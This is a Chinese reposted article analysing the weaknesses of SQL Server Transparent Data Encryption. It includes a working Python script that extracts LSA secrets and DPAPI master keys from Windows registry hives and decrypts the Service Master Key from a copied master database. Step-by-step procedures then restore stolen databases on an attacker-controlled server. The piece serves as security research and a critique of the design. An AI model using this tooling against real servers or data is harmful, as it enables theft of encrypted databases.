欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

微软SQL Server透明数据TDE加密及破解分析(上)

程序员文章站 2022-03-14 08:24:42
本次调查开始于一个我和客户讨论:他们是否应该安装TDE。如果我们要选出一个最合适的进行静态数据加密的工具,那么非TDE莫属,但是它有一个明显的缺陷。 视频   任何...

本次调查开始于一个我和客户讨论:他们是否应该安装TDE。如果我们要选出一个最合适的进行静态数据加密的工具,那么非TDE莫属,但是它有一个明显的缺陷。

视频

 

任何加密自己数据的软件都有一个功能性问题:如果它希望使用自己的数据,就需要对自身数据进行解密。举个例子,如果SQL服务器想要向加密数据库中写入数据,之后把数据返回给用户,他需要合适的解密密钥进行这个操作。

如果系统还需要在无需人工干预的情况下就可以boot,敏感功能无法被单独嵌入到保护性硬件中,之后密钥必须储存在系统的某个位置中,以便服务器在启动时能够访问它。然而,如果密钥被存储在系统中,那所有人都有接入权限,如果整个系统被北方,密钥也会被备份,所以所有数据都会被轻易读取。

“很明显”,解决方法是在储存所有数据之前加密密钥,微软的TDE就是这么做的。不幸的是,它并没有真的解决这个问题,因为为了解密这个已经加密的密钥,你还需要存储这个用于解密的密钥。所有的这些花里胡哨的行为都是为了掩饰密钥的存储。

显然解决方法还是加密加密的密钥…而这么做的工具呢还是微软的TDE,但是它还是存在相同的问题。它一直这么做。虽然最终你不得不停止增加层数并存储最底层的为加密密钥,只要找到这个密钥,那所有的加密就会瞬间土崩瓦解。

这种基本的、不可避免的逻辑必然性让很多人选择拒绝使用这个软件。大家不相信这样一个看似毫无意义、甚至毫无诚信可言的安全机制是由如此大型的公司出售的,简直太可怕了。一些人必须要看到这个机制之后才能相信,所以我们决定用这篇文章详细解释TDE以及如何破解TDE。

TDE加密

在我们开始破解TDE之前,让我们先看看所有数据是如何被加密的。下面这张图提供了我们所需要的所有加密步骤。如果这种方法不是模糊安全的模范,那我不知道这是什么了。

 

微软SQL Server透明数据TDE加密及破解分析(上)

 

实际上是略有变化的,因为在一些情况下,访问相同数据的路径有很多,还有一些整个过程中非常微妙的地方并没有被提到。给出的路径是我们最感兴趣的问题,因为路径很容易被复制。

我们从底层开始介绍,底层最基础的密钥匙LSA密钥,其他层都在这层之上。它被轻微模糊处理(“代替密码”)后储存在磁盘上的注册表中,但是这点是众所周知的,所以它所提供的方式并不安全。

由于LSA密钥和其他几个密钥都储存在其他文件中,整个体系就会分裂。蓝色图表表明啦包含各种信息关键部分的基础文件:

1、注册表备份或者来自%WINDIR%/System32/Config的配置单元文件SYSTEM,SECURITY和SOFTWARE

2、来自%WINDIR%/System32/Microsoft/Protect/S-1-5-18的DPAPI的主键

3、主数据库和目标用户数据库。数据库可以从一个SQL备份文件或raw .mdf文件中恢复。在使用.mdf文件恢复时,拥有相应的.ldf数据库日志文件尽管不是必须的,但是也非常有用。

在知道这些信息后,所有的加密密钥都可以无需暴力破解直接恢复。

破解TDE

从SQL server的角度看,掌控所有的密钥就是Sevice Master Key(SMK)。对每个服务器/集群来说,它都是独一无二的,保护着它上面的每一层。它被储存在从未使用TDE中加密的主数据库中。然而,它在主数据库中被储存成一个加密值,所以还是需要解密。

破解TDE的一般方法是从目标服务区或者备份中拷贝数据库,然后把数据库放在一个新的由我们控制的“恢复”SQL服务器中。通过复制SMK,所有的加密的数据库都会自动被恢复服务器上的SQL服务器自动解密。恢复服务器上的数据可以被查看、导出等。所以我们不需要完全了解SQL服务器使用数据库加密密钥做了什么,因为我们将使用它对付它自己来为我们解密所有内容。

下面这个简单的python脚本用于文件收集以及提取SMK。涉及到的大部分工作都在恢复DPAPI密钥,多亏了creddump和dpapick项目出色的工作,我们成功拿到了这个密钥。

#!/usr/bin/env python 
# -*- coding: utf-8 -*- 

from DPAPI.Core import blob # https://pypi.python.org/pypi/dpapick/0.3 
from DPAPI.Core import masterkey 
from DPAPI.Core import registry 
from optparse import OptionParser 
from Registry import Registry # https://github.com/williballenthin/python-registry 
from bitstring import ConstBitStream 

import re 
import os 
import sys 

def search_with_blob(entropy, dpapi_system, mkp, tdeblob): 
  """Try decrypting with each master key""" 
  wblob = blob.DPAPIBlob(tdeblob) 
  mks = mkp.getMasterKeys(wblob.mkguid) 
  for mk in mks: 
    if mk.decrypted: 
      wblob.decrypt(mk.get_key(), entropy) 
      if wblob.decrypted: 
        print("Decrypted service master key: %s" % wblob.cleartext.encode('hex')) 
      else: 
        print("Decryption failed") 

def search_with_entropy(entropy, dpapi_system, mkp, masterdb): 
  """Search for DPAPI blobs in master database""" 
  masterdb = ConstBitStream(filename = options.masterdb) 
  for found in masterdb.findall('0x01000000D08C9DDF0115D1118C7A00C04FC297EB', bytealigned = True): 
    blobsegment = masterdb[found:found+512*8]  # Extraneous bytes ignored 
    search_with_blob(entropy, dpapi_system, mkp, blobsegment.tobytes()) 

parser = OptionParser() 
parser.add_option("--masterkey", metavar='DIRECTORY', dest='masterkeydir') 
parser.add_option("--system", metavar='HIVE', dest='system') 
parser.add_option("--security", metavar='HIVE', dest='security') 
parser.add_option("--software", metavar='HIVE', dest='software') 
parser.add_option("--masterdb", metavar='FILE', dest='masterdb') 

(options, args) = parser.parse_args() 

reg = registry.Regedit() 
secrets = reg.get_lsa_secrets(options.security, options.system) 
dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] 

mkp = masterkey.MasterKeyPool() 
mkp.loadDirectory(options.masterkeydir) 
mkp.addSystemCredential(dpapi_system) 
mkp.try_credential_hash(None, None) 

with open(options.software, 'rb') as f: 
  reg = Registry.Registry(f) 
  regInstances = reg.open('Microsoft\\Microsoft SQL Server\\Instance Names\\SQL') 
  for v in regInstances.values(): 
    print("Checking SQL instance %s" % v.value()) 
    regInst = reg.open('Microsoft\\Microsoft SQL Server\\%s\\Security' % v.value()) 
    entropy = regInst['Entropy'].value() 
    search_with_entropy(entropy, dpapi_system, mkp, options.masterdb) 

方便的是,脚本是跨平台的,所以它不需要在Windows机器上运行。这就意味着在目标服务区上不需要安装软件,一些文件渗出(或使用备份)就可以了。

一旦DPAPI密钥被恢复了,这个脚本搜索主数据库获得加密的SMK。这些SMK使用特殊的DPAPI blob结构被加密。DPAPI结构总是包含供应商GUID:df9d8cd0-1501-11d1-8c7a-0c04fc297eb,这个ID很容易被找到。由于主数据库未被加密,我们可以只使用SQL server就能提取ID,但是需要更多的协调和尝试。因为GUID非常受限制,这种快速且卑鄙的在主数据库中直接搜索方法被用于证明概念。这也意味着即使文件格式不同,它也同样适用于SQL备份文件或者本地.dmf文件。

执行只指向所需文件,然后继续:

$ ./tde.py --masterkey=S-1-5-18 --system=SYSTEM --security=SECURITY --software=SOFTWARE --masterdb=master.mdf

其结果是简单的未加密SMK:

Decrypted service master key: 999338193ab37c38c3aa99df062e2f5ca96b7dbc87542af9d61e0dc8a473c1f9

SQL Server有一个方式备份并恢复SMK,使用命令行:

BACKUP SERVICE MASTER KEY TO FILE = 'some-file-to-write-to' 
    ENCRYPTION BY PASSWORD = 'some-password' 

另外,他们可以被恢复到一个新的服务器,使用命令行:

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' 
    DECRYPTION BY PASSWORD = 'some-password' [FORCE]

另外一些主服务器密钥也可以利用SMK恢复来被解密,数据库访问。不幸的是,我们没有来自目标机器的SMK的备份文件(实际上在很多攻击的情况下,我们可以只知性备份命令,但是没有进行备份恢复等)。

在这个例子里,我们有一个恢复等原始密钥,但是没有备份文件,一个明显的安装SMK的方式是在恢复计算机上使用DPAPI系统凭证加密SMK,然后储存在主数据库中。dpapick库目前并不支持加密,我很烦躁啊,所以我跳过了现在这个不花太多时间和精力的方法。相反,我使用了那种快速卑鄙的方法,创建一个SMK备份文件,但是它手动操作较多。这些都是可以被简化的,但是为了证明这个概念,我使用了一个简单的cuckoo’s egg方法,视频中展示了这个方法-终端到中断的恢复demo。这种方法使用恢复密钥生成一个SMK备份文件,我们可以再我们的恢复SQL server上进行恢复。

下面这些步骤是使用新的SMK备份文件恢复一个TDE备份(来自.bak文件)来恢复服务器:

1、使用单用户模式启动SQL server(-m startup option)

2、恢复主数据库

RESTORE DATABASE MASTER FROM DISK = 'c:\...\master.bak' WITH REPLACE;

3、重启SQL服务(仍然是单用户模式)

4、添加管理员用户/重置管理员密码

5、在普通多用户模式下重启服务

6、使用FORCE选项恢复SMK

ESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' 
    DECRYPTION BY PASSWORD = 'some-password' FORCE

7、恢复目标数据库

8、刷新数据库列表

下面这些步骤用于恢复.MDF/.LDF文件:

1、停止SQL服务

2、复制 .mdf/.ldf文件,代替现在的主数据库

3、在单用户模式下开启SQL服务器(-m startup option)

4、增加管理员用户/重置管理员密码

5、在普通多用户模式下重启服务

6、使用FORCE选项恢复SMK

RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' 
    DECRYPTION BY PASSWORD = 'some-password' FORCE

7、离线拿下目标数据库

8、让目标数据库再次在线

9、刷新数据库列表

在这点上,我们完全恢复并能够访问加密数据库 

在上面的内容中,我们介绍了TDE机制及如何破解TDE,之后的文章我们将继续深入TDE,揭秘是否应该继续使用TDE。